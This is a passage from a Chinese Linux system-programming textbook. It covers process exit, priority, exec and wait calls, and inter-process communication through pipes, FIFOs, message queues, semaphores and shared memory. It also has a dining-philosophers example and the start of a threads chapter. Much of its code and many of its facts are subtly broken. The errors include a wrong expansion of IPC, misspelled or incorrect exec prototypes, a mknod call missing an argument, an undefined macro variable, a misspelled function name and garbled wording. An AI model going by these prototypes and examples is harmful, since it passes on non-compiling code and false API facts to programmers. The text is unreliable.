退出进程表示进程即将结束运行。在Linux系统中退出进程的方法分为正常退出和异常退出两种。其中，正常退出的方法有4种。

1.正常退出

1）在main()函数中执行return。

2）调用exit()函数。exit()函数原型为：



void exit(int status);



exit()函数用来正常结束目前进程的执行，并把参数status返回给父进程，进程所有的缓冲区数据会自动写回并关闭文件。在main()函数中通常使用return（0）这样的方式返回一个值。但这是限定在非void情况下的，也就是在void main()这种情况下。exit()通常是子程序用来终结程序用的，使用后程序自动结束跳回操作系统。

但当把exit()用在main()内的时候，无论main()是否定义成void，返回的值都是有效的，并且exit()不需要考虑类型，exit（1）等价于return（1）。

exit（int exit_code）中的参数exit_code为0代表进程正常终止，若为其他值表示程序执行过程中有错误发生，如除数为0。

3）调用_exit()函数。_exit()用来正常结束目前进程的执行，并把参数status返回给父进程，关闭未关闭的文件。此函数调用后不会返回，并且会传递SIGCHLD信号给父进程，父进程可以由wait()函数得到子进程的结束状态。如果执行成功则不返回，如果执行失败返回-1。_exit()函数的原型为：



#include＜unistd.h＞

void_exit(int status);



_exit()不会处理标准I/O缓冲区，如果要更新则需要调用exit()。

【例16-4】进程退出

下面的程序说明_exit()函数的应用。

[1]在Vi中创建一个新工程文件，命名为"example16_4.c"。

[2]在"example16_4.c"中创建如下所示代码。



#include＜stdlib.h＞

int main()

{

printf("This is the process!\n");

_exit(0);

}



[3]程序的运行结果如图16-7所示。

[image: ]


图　16-7　使用_exit()函数退出进程

4）调用on_exit()函数。该函数的原型为：



#include＜unistd.h＞

int on_exit(void(*function)(intvoid*),void*arg);



on_exit()函数用来设置一个程序正常结束前调用的函数，当程序通过调用exit()或者从main()中返回时，参数function所指定的函数会被先调用，然后才真正由exit()函数结束程序，参数arg指针会传给function函数。

2.异常退出

1）调用abort()函数。abort()函数原型为：



void abort(void);



2）进程收到某个信号，而该信号使程序终止。

不管是哪种退出方式，最终都会执行内核中的同一段代码。这段代码用来关闭程序所有已打开的文件描述符，释放它所占用的内存和其他资源。


16.2.4　改变进程的优先级

可以通过设置进程的优先级来保证进程的优先运行。相关的函数有setpriority()、getpri-ority()和nice()。setpriority()函数的原型为：



#include＜sys/time.h＞

#include＜sys/resource.h＞

int setpriority(int which,int who,int prio);



setpriority()函数可用来设置进程、进程组和用户的进程执行优先权。参数which有三种数值，参数who则根据which值有不同定义。根据which值不同who代表的意义如下：

·PRIO_PROCESS　who为进程识别码。

·PRIO_PGRP　who为进程的组识别码。

·PRIO_USER　who为用户识别码。

参数prio介于-20～20之间，代表进程执行优先权，数值越低代表有较高的优先次序，执行会较频繁。此优先权默认是0，而只有超级用户（root）允许降低此值。

执行成功则返回0，如果有错误发生返回值则为-1，错误原因存于errno中。可能产生的错误有：

·ESRCH：参数which或who可能有错，而找不到符合的进程。

·EINVAL：参数which值错误。

·EPERM：权限不够，无法完成设置。

·EACCES：该调用可能降低进程的优先级。

getpriority()函数原型为：



#include＜sys/time.h＞

#include＜sys/resource.h＞

int getpriority(int which,int who);



该函数返回一组进程的优先级。参数which和问候组合确定返回哪一组进程的优先级。which的可能取值以及who的意义如下。

·PRIO_PROCESS：一个特定的进程，此时who的取值为进程ID。

·PRIO_PGRP：一个进程组的所有进程，此时who的取值为进程组ID。

·PRIO_USER：一个用户拥有的所有进程，此时参数who取值为实际用户组ID。

getpriority()函数如果调用成功，则返回指定进程的优先级；如果出错，将返回-1，并设置errno的值。errno的可能取值如下：

·ESRCH：参数which或who可能有错，而找不到符合的进程。

·EINVAL：参数which值错误。

nice()函数原型为：



#include＜unistd.h＞

int nice(int increment);




16.2.5　执行新程序

使用fork()或vfork()函数创建子程序后，子程序通常会调用exec()函数来执行另外一个程序。当进程调用exec()函数时，该进程完全由新程序代替，因为并不创建新的进程，所以前后的进程ID并未改变。Linux下exec()函数族有以下6种不同的调用形式，格式如下：



#include＜unistd.h＞

int execve(const char *path,char*const argv[],char*const envp[]);

int execv(const char *path,char*const envp[]);

int execle(const char *path,const char*arg,…);

int execl(const char *path,const char*arg,…);

int exevp(const char *file,Har*const argv[]);

int execlp(const char *file,const char*arg,…);



6个函数若出错则返回-1，若成功则不返回。exec()调用并没有生成新程序，一个进程一旦调用exec()函数，它本身就不存在了，系统把代码段替换成新的程序的代码，放弃原有的数据段和堆栈段，并为新程序分配新的数据段和堆栈段，唯一保留的就是进程ID。


16.2.6　等待进程结束

当子进程先于父进程退出时，如果父进程没有调用wait()和waitpid()函数，子进程就会进入僵死状态。如果父进程调用了wait()或waitpid()函数，就不会使子进程变为僵死进程，这两个函数的声明如下：



#include＜sys/types.h＞

#include＜sys/wait.h＞

pid_t wait(int*status);

pid_t waitpid(pid_t pid,int*status,int options);



wait()函数使父进程暂停执行，直到有信号到来或子进程结束为止。该函数的返回值是终止运行的子进程的PID。子进程的结束状态值即从子进程的main()函数返回的值或子进程中exit()函数的参数，会由参数status返回。如果不需要结束状态值，则参数status可以设置为NULL。头文件sys/wait.h中定义了解读进程退出状态的宏。表16-3所示为各个宏的含义说明。
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waitpid()函数也用来等待子进程的结束，但它用于等待某个特定进程结束。参数pid指明要等待的子进程的PID。pid的值与对应的状态见表16-4。参数status的含义与wait()函数中的status相同。options参数允许用户改变waitpid的行为，若将该参数赋值为WNOHANG，则使父进程不被挂起而立即返回并执行其后的代码；如果该参数赋值为WUNTRACED，当子进程进入暂停执行情况立即返回。
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如果想让父进程周期性地检查某个特定的子进程是否已经退出，可以按如下方式调用waitpid()。



waitpid(child_pid,(int*)0,WNOHANG);



如果子进程尚未退出，它将返回0；如果子进程已经结束，则返回child_pid。调用失败时返回-1。失败的原因包括没有该子进程、参数不合法等。

wait()等待第一个终止的子进程，而waitpid()则可以指定等待特定的子进程。waitpid()提供了一个wait()的非阻塞。有时希望取得一个子进程的状态，但不想使父进程阻塞，waitpid()提供了一个这样的选项：WNOHANG，它可使调用者不阻塞。如果一个没有任何子进程的进程调用wait()函数，会立即出错返回。

【例16-5】进程等待

下面是等待进程的处理示例。

[1]在Vi中创建一个新工程文件，命名为"example16_5.c"。

[2]在"example16_5.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜sys/types.h＞

#include＜sys/wait.h＞

#include＜unistd.h＞

#include＜stdlib.h＞

int main()

{

pid_t pid;

pid=fork();

if(pid＜0)

printf("Error fork!\n");

else if(pid==0)

{

printf("The child process ID is:%d\n",getpid());

exit(0);

}

else

if(pid!=0)

{

int stat_val;

pid_t child_pid;

child_pid=wait(＆stat_val);

printf("Child process has exited,pid=%d\n",child_pid);

if(WIFEXITED(stat_val))

printf("Child exited with code%d\n",WEXITSTATUS(stat_val));

else

printf("Child exit abnormally!\n");

}

exit(1);

}



[3]宏WEXITSTATUS为获取子进程的退出码，程序运行结果如图16-8所示。
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图　16-8　等待进程的运行结果


16.3　进程间通信

在Linux这种多任务实时操作系统中，各个进程的地址空间是各自独立的，因此进程之间交互数据必须采用专门的通信机制，这就需要使用进程间通信（Internet Process Connec-tion,IPC）编程技术。

Linux下进程间通信的几个主要方法如下：

1）管道（pipe）：管道可用于具有亲缘关系进程间的通信，允许一个进程和另一个与它有共同祖先的进程之间进行通信。管道是一种半双工的通信方式，数据只能单方向流动。

2）有名管道（named pipe）：也是一种半双工的通信方式。有名管道克服了管道没有名字的限制，因此，除具有管道所具有的功能外，它还允许无亲缘关系进程间的通信。有名管道在文件系统中有对应的文件名。命名管道通过命令mkfifo或系统调用mkfifo来创建。

3）消息队列（message queue）：消息队列是消息的链接表，包括Posix消息队列和sys-tem V消息队列。有足够权限的进程可以向队列中添加消息，被赋予读权限的进程则可以读队列中的消息。消息队列克服了信号传递信息量少，管道只能承载无格式字节流以及缓冲区大小受限等缺点。

4）信号量（semaphore）：信号量是一个计数器，主要用于同一进程中各线程之间的信息交互和同步。信号量常常作为一种锁机制，防止某进程正在访问共享资源时，其他进程也访问该资源。

5）共享内存（shared memory）：使得多个进程可以访问同一块内存空间，是最快的可用IPC形式。是针对其他通信机制运行效率较低而设计的。往往与其他通信机制，如信号量结合使用，来达到进程间的同步及通信。

6）信号（signal）：信号是比较复杂的通信方式，用于通知接受进程有某种事件发生，除了用于进程间通信外，进程还可以发送信号给进程本身；Iinux除了支持UNIX早期信号语义函数sigal()外，还支持语义符合posix.1标准的信号函数sigaction()（实际上，该函数是基于BSD的，BSD为了实现可靠信号机制，又能够统一对外接口，用sigaction()函数重新实现了signal()函数）。

7）套接字（socket）：更为一般的进程间通信机制，可用于不同机器之间的进程间通信。起初是由UNIX系统的BSD分支开发出来的，但现在一般可以移植到其他类UNIX系统上：Linux和System V的变种都支持套接字。


 16.3.1　管道

管道是Linux最早使用的进程通信机制之一，管道只能实现具有亲缘关系的进程（如父进程与子进程）间的通信，而有名管道克服了这一缺点。管道是单向的，数据只能从一端写入，从另一端读取。如果要进行全双工通信，需要建立两个管道。管道还有其他一些不足，如管道没有名字，管道的缓冲区大小是受限制的，管道所传送的是无格式的字节流。要求管道的输入方和输出方事先约定好数据的格式。

使用管道进行通信时，两端的进程向管道读写数据是通过创建管道时，系统设置的文件描述符进行的。因此对于管道两端的进程来说，管道就是一个特殊的文件，这个文件只存在于内存中。在创建管道时，系统为管道分配一个页面作为数据缓冲区，进行管道通信的两个进程通过读写这个缓冲区来进行通信。

通过管道通信的两个进程，一个进程向管道写数据，另一个进程从管道的另一端读数据。写入的数据每次都添加在管道缓冲区的末尾，读数据的时候都是从缓冲区的头部读出数据。

常见的管道相关函数有如下几种。

1.popen()

函数原型为：



#include＜stdio.h＞

FILE*popen(const char*command,const char*type);



该函数会调用fork()产生子进程，然后从子进程中调用/bin/sh-c来执行参数com-mand的指令。参数type可使用"r"代表读取，"w"代表写入。依照此type值，popen()会建立管道连到子进程的标准、输出设备或标准输入设备，然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。

函数如果执行成功返回文件指针，否则返回NULL。

2.pipe()

函数原型为：



#include＜unistd.h＞

int pipe(int filedes[2]);



该函数会创建管道，并将文件描述词由参数filedes数组返回。filedes[0]为管道的读取端，filedes[1]为管道的写入端。如果从管道写入端读数据或者向管道读取端写数据都将导致出错。函数执行成功返回0，否则返回-1。

3.pclose()

函数原型为：



#include＜unistd.h＞

int pclose(FILE*stream);



该函数用来关闭由popen()函数建立的管道及文件指针，参数stream为先前由popen()函数返回的文件指针。如果执行成功则返回子进程的结束状态，否则返回-1。

管道一旦创建成功，就可以作为一般的文件来使用，对一般文件进行操作的I/O函数也适用于管道。


16.3.2　有名管道

管道的不足之处是没有名字，只能用于具有亲缘关系的进程间通信，有名管道（named pipe或FIFO）可以在互不相关的两个进程间实现彼此通信。有名管道提供一个路径名与之关联，有名管道是一个设备文件。有名管道FIFO严格按照先进先出的规则，对管道及FIFO的读总是从开始处返回数据，对它们的写则把数据添加到末尾，不支持lseek等文件定位操作。有名管道的创建在Shell方式下可以使用mkfifo()函数和mknod()函数。创建成功后就可以使用open()、read()、write()这些函数了。

mkfifo()函数原型为：



#include＜sys/types.h＞

#include＜sys/stat.h＞

int mkfifo(const char*pathname,mode_t mode);



mkfifo()函数会依参数pathname建立特殊的FIFO文件，该文件必须不存在，而参数mode为该文件的权限（mode%～umask），因此umask值也会影响到FIFO文件的权限。mkfifo()建立的FIFO文件其他进程都可以用读写一般文件的方式存取。当使用open()来打开FIFO文件时，O_NONBLOCK会产生如下影响：

当使用O_NONBLOCK旗标时，打开FIFO文件来读取的操作会立刻返回，但是若还没有其他进程打开FIFO文件来读取，则写入的操作会返回ENXIO错误代码。

当没有使用O_NONBLOCK旗标时，打开FIFO来读取的操作会等到其他进程打开FIFO文件来写入才正常返回。同样，打开FIFO文件来写入的操作会等到其他进程打开FIFO文件来读取后才正常返回。

若成功则返回0，否则返回-1，错误原因存于errno中。

错误代码：

·EACCESS　参数　pathname所指定的目录路径没有可执行的权限。

·EEXIST　参数　pathname所指定的文件已存在。

·ENAMETOOLONG　参数　pathname的路径名称太长。

·ENOENT　参数　pathname包含的目录不存在。

·ENOSPC　文件系统的剩余空间不足。

·ENOTDIR　参数　pathname路径中的目录存在，但不是真正的目录。

·EROFS　参数　pathname指定的文件存在于只读文件系统内。

mkfifo()使用示例如下：



umask(0);

if(mkfifo("/tmp/fifo",S_IFIFO|0666)==-1)

{

perror("mkfifo error!");

exit(1);

}



S_IFIFO|0666指明创建一个有名管道并且读取权限为0666，即创建者、与创建者同组的用户、其他用户对该有名管道的访问权限都是可读可写的。

mknod()函数原型为：



#include＜sys/types.h＞

#include＜sys/stat.h＞

int mknod(const char*pathname,mode_t mod,dev_t dev);



该函数中的参数path name为创建的有名管道的全路径名；mod为创建的有名管道的模式，指明其存取权限；dev为设备值，该值取决于文件创建的种类，它只在创建设备文件时才会用到。函数成功调用返回0，失败返回-1。

mknod()使用示例如下：



umask(0);

if(mknod("/tmp/fifo",S_IFIFO|0666)==-1)

{

perror("mknod error!");

exit(1);

}




16.3.3　消息队列

消息队列是一个存放在内核中的消息链表，每个消息队列由消息队列标识符标识。消息队列是存放在内核中的，只有在内核重启（操作系统重启）或者显示地删除一个消息队列时，该消息队列才会被真正删除。操作消息队列时用到的数据结构主要有msgbuf、msqid_ds和ipc_perm。

msgbuf的定义如下：



#include＜linux/msg.h＞

struct msgbuf

{

long mtype;/*消息的类型*/

char mtext[1];/*消息数据*/

};



在结构中共有两个元素：mtype指消息的类型，它由一个整数来代表，并且，它只能是整数。mtext是消息数据。

msqid_ds定义如下：



struct msqid_ds

{

struct_ipc_perm msg_perm;

struct_msg*msg_first;

struct_msg*msg_last;

_kernel_t time_t msg_stime;

_kernel_t time_t msg_rtime;

_kernel_t time_t msg_ctime;

unsigned long msg_lcbytes;

unsigned long msg_lqbytes;

unsigned short msg_cbytes;

unsigned short msg_qnum;

unsigned short msg_qbytes;

_kernel_ipc_pid_t msg_lspid;

_kernel_ipc_pid_t msg_lrpid;

};



各字段含义如下：

·msg_perm：是一个ipc_perm的结构，保存了消息队列的存取权限、队列的用户ID、组ID等信息。

·msg_first：指向队列中的第一个消息。

·msg_last：指向队列中的最后一个消息。

·msg_stime：发送到队列中的最后一条消息的时间。

·msg_rtime：从队列中读取的最后一条消息的时间。

·msg_ctime：是队列最后一次改动的时间。

·msg_cbytes：是队列中所有消息的总长度。

·msg_qnum：是当前队列中的消息的数目。

·msg_qbytes：队列中的最大的字节数。

·msg_lspid：发送最后一条消息的进程ID。

·msg_lrpid：读取队列中最后一个消息的进程的ID。

ipc_perm定义如下：



struct ipc_perm

{

_kernel_key_t key;/*创建消息队列时用到的键值key*/

_kernel_uid_t uid;/*消息队列的用户ID*/

_kernel_gid_t gid;/*消息队列的组ID*/

_kernel_uid_t cuid;/*创建消息队列的进程用户ID*/

_kernel_gid_t cgid;/*创建消息队列的进程组ID*/

_kernel_mode_t mode;

unsigned_short seq;

};



与消息队列处理相关的函数主要有以下几种。

1.msgget()

msgget()函数原型为：



#include＜sys/msg.h＞

int msgget(key_t key,int flags);



函数中的参数key用来转换成一个标识符，每一个IPC对象与一个key相对应。参数flags用来决定消息队列的存储权限。

2.msgrcv()

函数msgrcv()可以从队列中读取消息，函数原型如下：



#include＜sys/msg.h＞

ssize_t msgrcv(int msqid,void*ptr,size_t nbytes,long type,int flag);



函数中的参数msqid为指定要读的队列，参数ptr为要接收数据的缓冲区，nbytes为要接收数据的长度，当队列中满足条件的消息长度大于nbytes的值时，则会参照行为参数flag的值决定如何操作：当flag中设置了MSG_NOERROR位时，则将消息截短到nbytes指定的长度后返回；如没有MSG_NOERROR位，则函数出错返回，并设置错误变量errno。设置type参数指定msgrcv()函数所要读取的消息，type的取值及相应操作如表16-5所示。
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参数flag定义函数的行为，如果设置了IPC_NOWAIT位，则当队列中无符合条件的消息时，函数出错返回，errno的值为ENOMSG。如果没有设置IPC_NOWAIT位，则进程阻塞直到出现满足条件的消息出现为止，然后函数读取消息返回。

3.msgsnd()

由于消息队列的特殊性，系统为这个数据类型提供了两个接口（msgsnd()函数，ms-grcv()函数），分别处理消息队列。

函数msgsnd()的作用是写消息队列，函数原型如下：



#include＜sys/msg.h＞

int msgsnd(int msqid,const void*prt,size_t nbytes,int flags);



对于写入队列的每一个消息，都含有三个值，正长整型的类型字段、数据长度字段和实际数据字节。新的消息总是放在队列的尾部，函数中的参数msqid指定要操作的队列，ptr指针指向一个msgbuf的结构，这是一个模板的消息结构。

函数中的参数nbytes指定了消息的长度，参数flags指明函数的行为。函数成功返回0，失败返回-1，并设置错误变量errno。errno可能出现的值有：EAGAIN、EACCES、EFAULT、EIDRM、EINTR、EINVAL和ENOMEM。当函数成功返回后会更新相应队列的msqid_ds结构。

4.msgctl()

函数msgctl()可以在队列上做多种操作，函数原型如下：



#include＜sys/msg.h＞

int msgctl(int msqid,int cmd,struct msqid_ds*buf);



参数msqid为指定的要操作的队列，cmd参数指定所要进行的操作，其中有些操作需要buf参数。cmd参数的详细取值及操作如表16-6所示。
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16.3.4　信号量

信号量是一种数据操作锁的概念，它本身不具备数据交换功能，而是通过控制其他通信资源（文件、外部设备等）来实现进程间通信。

当请求一个使用信号量表示的资源时，进程需要先读取信号量的值，以判断相应的资源是否可用。当信号量的值大于0时，表明有资源可以请求。当信号量的值等于0时，说明现在无可用资源，所以进程会进入睡眠状态直至有可用资源时。

当进程不再使用一个信号量控制的共享资源时，此信号量的值增1，对信号量的值进行增减操作均为原子操作，这是由于信号量主要的作用是维护资源的互斥或多进程的同步访问。而在信号量的创建以及初始化时，不能保证操作均为原子。

同其他的IPC对象一样，内核对每一个信号量集都会设置一个shmid_ds结构，同时用一个无名结构来标识一个信号量。简要定义如下：



struct{

unsigned short semval;

pid_t sempid;

unsigned short semncent;

unsigned short semzcnt;

...

...

}



1.信号量的创建

同共享内存一样，系统中同样需要为信号量集定制一系列专有的操作函数。系统命令ipcs可查看当前的系统IPC的状态，在命令后使用-s参数。使用函数semget()可以创建或者获得一个信号量集ID，函数原型如下：



#include＜sys/shm.h＞

int semget(key_t key,int nsems,int flag);



该函数用来取得参数key所关联的信号标识码，每一个IPC对象与一个key相对应。如果参数key为IPC_PRIVATE，则会建立新的信号队列。如果key不为IPC_PRIVATE，也不是已经建立的信号队列IPC key，系统会视参数flag是否有IPC_CREAT位来决定IPC key为参数key的信号队列。参数nsems是一个大于等于0的值，用于指明该信号量集中的可用资源数（在创建一个信号量时）。当打开一个已存在的信号量集时该参数值为0。函数执行成功，则返回信号量集的标识符（一个大于等于0的整数），失败则返回-1。

函数semop()用以操作一个信号量集，函数原型如下：



#include＜sys/sem.h＞

int semop(int semid,struct sembuf*semoparray[],size_t nops);



函数中的参数semid是要处理的信号队列识别代码，参数nops标明了参数semoparray指向数组中的元素个数。参数semoparray是一个struct sembuf结构类型的数组指针，结构sem-buf来说明所要执行的操作，其定义如下：



struct sembuf

{

unsigned short sem_num;/*要处理的信号识别码,0代表第一个*/

short sem_op;/*要执行的操作*/

shor sem_flg;/*操作标志*/

}



sem_op的值是一个整数，如表16-7所示。
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2.信号量集的操作

信号量有自己的专属操作函数semctl()，函数原型如下：



#include＜sys/sem.h＞

int semctl(int semid,int semnum,int cmd,union semun arg);



函数中的参数semid是要处理的信号队列识别码，semnum指定semid的信号集中的某一个信号灯，其类似于信号量集资源数组中的下标，用来对指定资源进行操作。参数cmd定义函数所要进行的操作，其取值以及表达的意义如表16-8所示。
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函数成功，返回值大于等于0（当semctl的操作为GET操作时返回相应的值，其余返回0），失败返回-1并设置错误变量errno。


16.3.5　共享内存

共享内存是最方便、速度最快的进程通信方式，它将同一块物理内存分别映射到A、B两个进程的逻辑空间。共享内存是存在于内核级别的一种资源，在Shell中可以使用ipcs命令来查看当前系统IPC中的状态，在文件系统中/proc目录下有对其描述的相应文件。

在系统内核为一个进程分配内存地址时，通过分页机制可以让一个进程的物理地址不连续，同时也可以让一段内存同时分配给不同的进程。由于多个进程共享同一块内存空间，因此需要其他同步进制协同工作。图16-9描述了多进程如何使用共享内存通信。
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图　16-9　共享内存示意图

如图16-9所示，箭头方向描述了进程地址空间映射到系统内存地址的位置。对于每一个共享存储段，内核会为其维护一个shmid_ds类型的结构体（shmid_ds结构体定义在头文件＜sys/shm.h＞中）。

shmid_ds结构体定义如下：



struct shmid_ds{

struct ipc_perm shm_perm;/

size_t shm_segsz;

pid_t shm_lpid;

pid_t shm_cpid;

shmatt_t shm_nattch;

time_t shm_atime;

time_t shm_dtime;

time_t shm_ctime;

……

……

……

};



结构体shmid_ds会根据不同的系统内核版本而略有不同，并且在不同的系统中会对共享存储段的大小有限制，在应用时请查询相应的系统手册。

1.共享内存的创建

函数shmget()可以创建或打开一块共享内存区。函数原型如下：



#include＜sys/shm.h＞

int shmget(key_t key,size_t size,int flag);



该函数用来取得参数key所关联的共享内存识别代码。size参数为要请求的内存长度（以字节为单位）。

内核是以页为单位分配内存的，当size参数的值不是系统内存页长的整数倍时，系统会分配给进程最小的可以满足size长的页数，但是最后一页的剩余内存是不用的。

当打开一个内存段时，参数size的值为0。参数flag中的相应权限位初始化ipc_perm结构体中的mode域。同时参数flag是函数行为参数，它指定一些当函数遇到阻塞或其他情况时应做出的反应。shmid_ds结构初始化如表16-9所示。
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【例16-6】实现进程间通信

要求采用共享内存的方式实现进程间通信。

[1]在Vi中创建一个新工程文件，命名为"example16_6.c"。

[2]在"example16_6.c"中创建如下所示代码。



#include＜sys/types.h＞

#include＜sys/ipc.h＞

#include＜sys/shm.h＞

#include＜stdlib.h＞

#include＜stdio.h＞

#define SHMBUF 4096

int main(void)

{

int shm;/*共享内存标识符*/

shm=shmget(IPC_PRIVATE,SHMBUF,0666);

if(shm＜0)

{

perror("It is fail!");

exit(1);

}

printf("Creat successfully:%d\n",shm);

system("ipcs-m");/*调用ipcs命令查看IPC*/

exit(0);

}



[3]用GCC编译并运行程序，结果如图16-10所示。
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图　16-10　共享内存操作

程序中在调用shmget()函数时指定key参数值为IPC_PRIVATE，这个参数的意义是创建一个新的共享内存区，当创建成功后使用shell命令ipcs来显示目前系统下共享内存的状态。命令参数-m为只显示共享内存的状态。

2.共享内存的操作

由于共享内存这一特殊的资源类型，使它不同于普通的文件，因此，系统需要为其提供专有的操作函数，而这无疑增加了程序员开发的难度（需要记忆额外的专有函数）。使用函数shmctl()可以对共享内存段进行多种操作，其函数原型如下：



#include＜sys/shm.h＞

int shmctl(int shm_id,int cmd,struct shmid_ds*buf);



函数中的参数shm_id为所要操作的共享内存段的标识符，struct shmid_ds型指针参数buf的作用与参数cmd的值相关，参数cmd指明了所要进行的操作，其解释如表16-10所示。
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使用函数shmat()将一个存在的共享内存段连接到本进程空间，其函数原型如下：



#include＜sys/shm.h＞

void*shmat(int shm_id,const void*addr,int flag);



函数中的参数shm_id指定要引入的共享内存，参数addr与flag组合说明要引入的地址值，通常只有两种用法：addr为0，表明让内核来决定第一个可以引入的位置；addr非零，并且flag中指定SHM_RND，则此段引入到addr指向的位置（此操作不推荐使用，因为不会只在一种硬件上运行应用程序，为了程序的通用性推荐使用第一种方法），在flag参数中可以指定要引入的方式（读写方式指定）。函数成功执行，返回值为实际引入的地址，失败返回-1。shmat()函数成功执行会将shm_id段的shmid_ds结构的shm_nattch计数器的值加1。

当对共享内存段操作结束时，应调用shmdt()函数，作用是将指定的共享内存段从当前进程空间中脱离出去。函数原型如下：



#include＜sys/shm.h＞

int shmdt(void*addr);



参数addr是调用shmat()函数的返回值，函数执行成功返回0，并将该共享内存的shmid_ds结构的shm_nattch计数器减1，失败返回-1。


16.4　编程实例——哲学家用餐问题

下面介绍一个共享资源的并发进程的标准同步模式：哲学家用餐的问题。5位哲学家围坐在一张圆桌边，每位哲学家的边上有一根筷子。吃饭需要两根筷子，由于一共只有5根筷子，所以最多只能有两位哲学家可以同时用餐。实际上，如果每位哲学家拿起一根筷子，就没有人能够拿到两根筷子，此时就陷入死锁（deadlock）状态。每位哲学家只能拿起他左边或者右边的筷子，每位哲学家随时都可以用餐，如图16-11所示。
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图　16-11　哲学家用餐问题示意图

程序中，每位哲学家都用一个同等的由fork()函数所创建的子进程来表示，程序中使用信号量（semaphore），wait操作期望收到一个项目并删除它，signal操作会增加一个项目。程序代码如下。



/*The dining philosopher program*/

#include＜stdio.h＞

#include＜stdlib.h＞

#define N 5/*哲学家的人数*/

#define Busy_Eating 1

#define Busy_Thinking 1

#define Left(p)(p)/*筷子*/

#define Right(p)(((p)+1)%n)

typedef int*semaphore;

semaphore chopstick[N];/*全局数组*/

int fork(void);

semaphore make_semaphore(void);

void philosopher(int me);

void pick_up(int me);

int pipe(int pd[2]);

void put_down(int me);

int read(int fd,void*buf,unsigned len);

void signal(semaphore s);

void sleep(unsigned seconds);

void wait(semaphore s);

int write(int fd,void*buf,unsigned len);

int main(void)

{

int i;

for(i=0;i＜N;++i)

{

/*把筷子放在桌子上*/

chopstick[i]=make_semaphore();

signal(chopstick[i]);

}

for(i=0;i＜N-1;++i)/*创建子进程*/

if(fork()==0)

break;

philosopher(i);/*同时进行的人数*/

return(0);

}



main()函数用信号量来创建每根筷子。每根筷子一开始都表示一个可使用的资源。然后，每个科学家都用一个通过fork()创建的子进程来表示。每个哲学家执行philosopher()函数，这个函数交替进入吃饭和思考两种状态。



void pich_up(int me)

{

if(me==0)

{

wait(chopstick[Right(me)]);

printf("philosopher%dpicks up right chopstick\n",me);

sleep(1);

wait(chopstick[Left(me)]);

printf("philosopher%d picks up left chopstick\n",me);

}

else

{

wait(chopstick[Left(me)]);

printf("philosopher%d picks up left chopstick\n",me);

sleep(1);/*simulate slow pick up encourage deadlock*/

wait(chopstick[Right(me)]);

printf("philosopher%d picks up right chopstick\n",me);

}

}

/*放下筷子*/

void put_down(int me)

{

signal(chopstick[Left(me)]);

signal(chopstick[Right(me)]);

}

/*philosopher process*/

void philosopher(int me)

{

char*s;

int i=1;

for(;;++i)

{

pick_up(me);

s=i==1?"st":i==2?"nd":i==3?"rd":"th";

printf("philosopher%d eating for the%d%s time\n",me,i,s);

sleep(Busy_Eating);

put_down(me);

printf("philosopher%d thinking\n",me);

sleep(Busy_Thinking);

}

}



philosopher()函数试图拿起左边和右边的筷子。如果成功，它就进入吃饭状态，吃完之后就放回筷子，并恢复为思考状态。它通过对左边和右边的筷子执行信号量操作wait()来拿起它们。pick_up()函数将被阻塞，直到两根筷子都被拿起。它通过对左边和右边的筷子执行信号量操作signal()来放下筷子。当两根筷子都被放下时，put_down()函数便告终止。



semaphore make_semaphore(void)

{

int*sema;

sema=calloc(2,sizeof(int));

pipe(sema);

return sema;

}

void wait(semaphore s)

{

int junk;

if(read(s[0],＆junk,1)＜=0)

{

printf("ERROR:wait()failed,check semaphore creation.\n");

exit(1);

}

}

void signal(semaphore s)

{

if(write(s[1],"x",1)＜=0)

{

printf("ERROR:write()failed,check semaphore creation.\n");

exit(1);

}

}




16.5　实践拓展

1.防止系统进程意外被杀的方法

Linux的内存管理有一套机制，当系统内存溢出的时候，它会选择一个或几个适当的进程杀掉以维持系统的稳定运行。不过机器有可能误操作，使得系统因为误杀而变得残缺不全，甚至不能正常运行。因此需要人为干预，引导系统做出正确的选择。

这种行为的控制是通过调整进程相应目录下的/proc/[PID]/oom_adj来实现的，其中oom_adj的取值返回是-17～15，当进程的oom_adj值是-17时，系统将不会杀死它；值为-16～15使得进程的/proc/[PID]/oom_score值呈指数（k*2n
 ）形式递增，也就是说它们被杀的可能性呈指数形式递增。另外，第一个进程（进程号为1）init也不在被杀之列，无论它的oom_adj值为多少。

2.在ps命令中使用grep

例：ps auxw|grep xyz会列出所有含有xyz字符的进程。

3.查看进程相关信息

在Linux操作下，如果要查看进程的相关信息，如正在执行的文件、当前目录等，可以根据进程号到/proc/pid目录下查看。


16.6　思考与练习

一、概念题

1.父进程和子进程的属性有何异同？

2.多进程中，父子进程的运行顺序是怎样的？

3.fork()函数和vfork()函数在创建进程时有什么区别？

4.进程间通信的方式有哪些，各有什么特点？

5.对管道和有名管道的操作过程有什么不同？

二、操作题

1.编写一个程序完成以下工作：在一个进程里创建两个子进程，两子进程通过管道进行信息传递。

2.编写一个多进程的程序，要求父进程给每个子进程传递不同的参数。


第17章　线程控制

本章要点：

Linux线程

创建线程

线程属性

线程等待和终止

私有数据

线程同步

出错处理


 17.1　Linux线程

线程技术早在20世纪60年代就被提出，20世纪80年代中期多线程被应用到操作系统中。目前，多线程技术已经被许多操作系统所支持，包括Windows NT/2000和Linux。

Linux是一个多用户、多任务的操作系统。多用户是指多个用户可以在同一时间使用计算机系统；多任务是指Linux可以同时执行几个任务，它可以在还没有执行完一个任务时又执行另一个任务。在操作系统设计上，从进程（process）演化出线程（thread），最主要的目的就是更好地支持多处理器，并且减少（进程/线程）上下文切换的开销。线程是在共享内存空间中并发的多条执行路径，它们共享一个进程的资源。在两个普通进程（非线程）间进行切换时，内核准备从一个进程的上下文切换到另一个进程的上下文会有很大的花费，包括保存老进程CPU状态，并加载新进程的保存状态，用新进程的内存映像替换老进程的内存映像。

线程也有其私有数据信息，包括：

·线程号（thread ID）：每个线程都有一个唯一的线程号与之对应。

·寄存器（包括程序计数器和堆栈指针）。

·堆栈。

·信号掩码。

·优先级。

·线程私有的存储空间。


 17.1.1　线程和进程的关系

根据操作系统的定义，进程是系统资源管理的最小单位，线程是计算机中程序执行的最小单位，运行时占用的系统资源较少，一个进程可以拥有多个线程。线程和进程十分相似，不同的只是线程比进程小，每个线程所占用的CPU时间是由系统分配的，也可以认为线程是操作系统分配CPU时间的基本单位，进程可以同时使用多个CPU来执行各个线程，达到最大程度的并行，以提高效率。一个进程至少需要一个线程作为它的指令执行体。从用户的角度看，多个线程是同时执行的，从操作系统的角度看，各个线程是交替执行的。系统不停地在各个线程之间切换，每个线程只有在系统分配的时间内才能获得CPU的控制权。

如果是在CPU多核的主机上，多个线程是可以同时运行的。

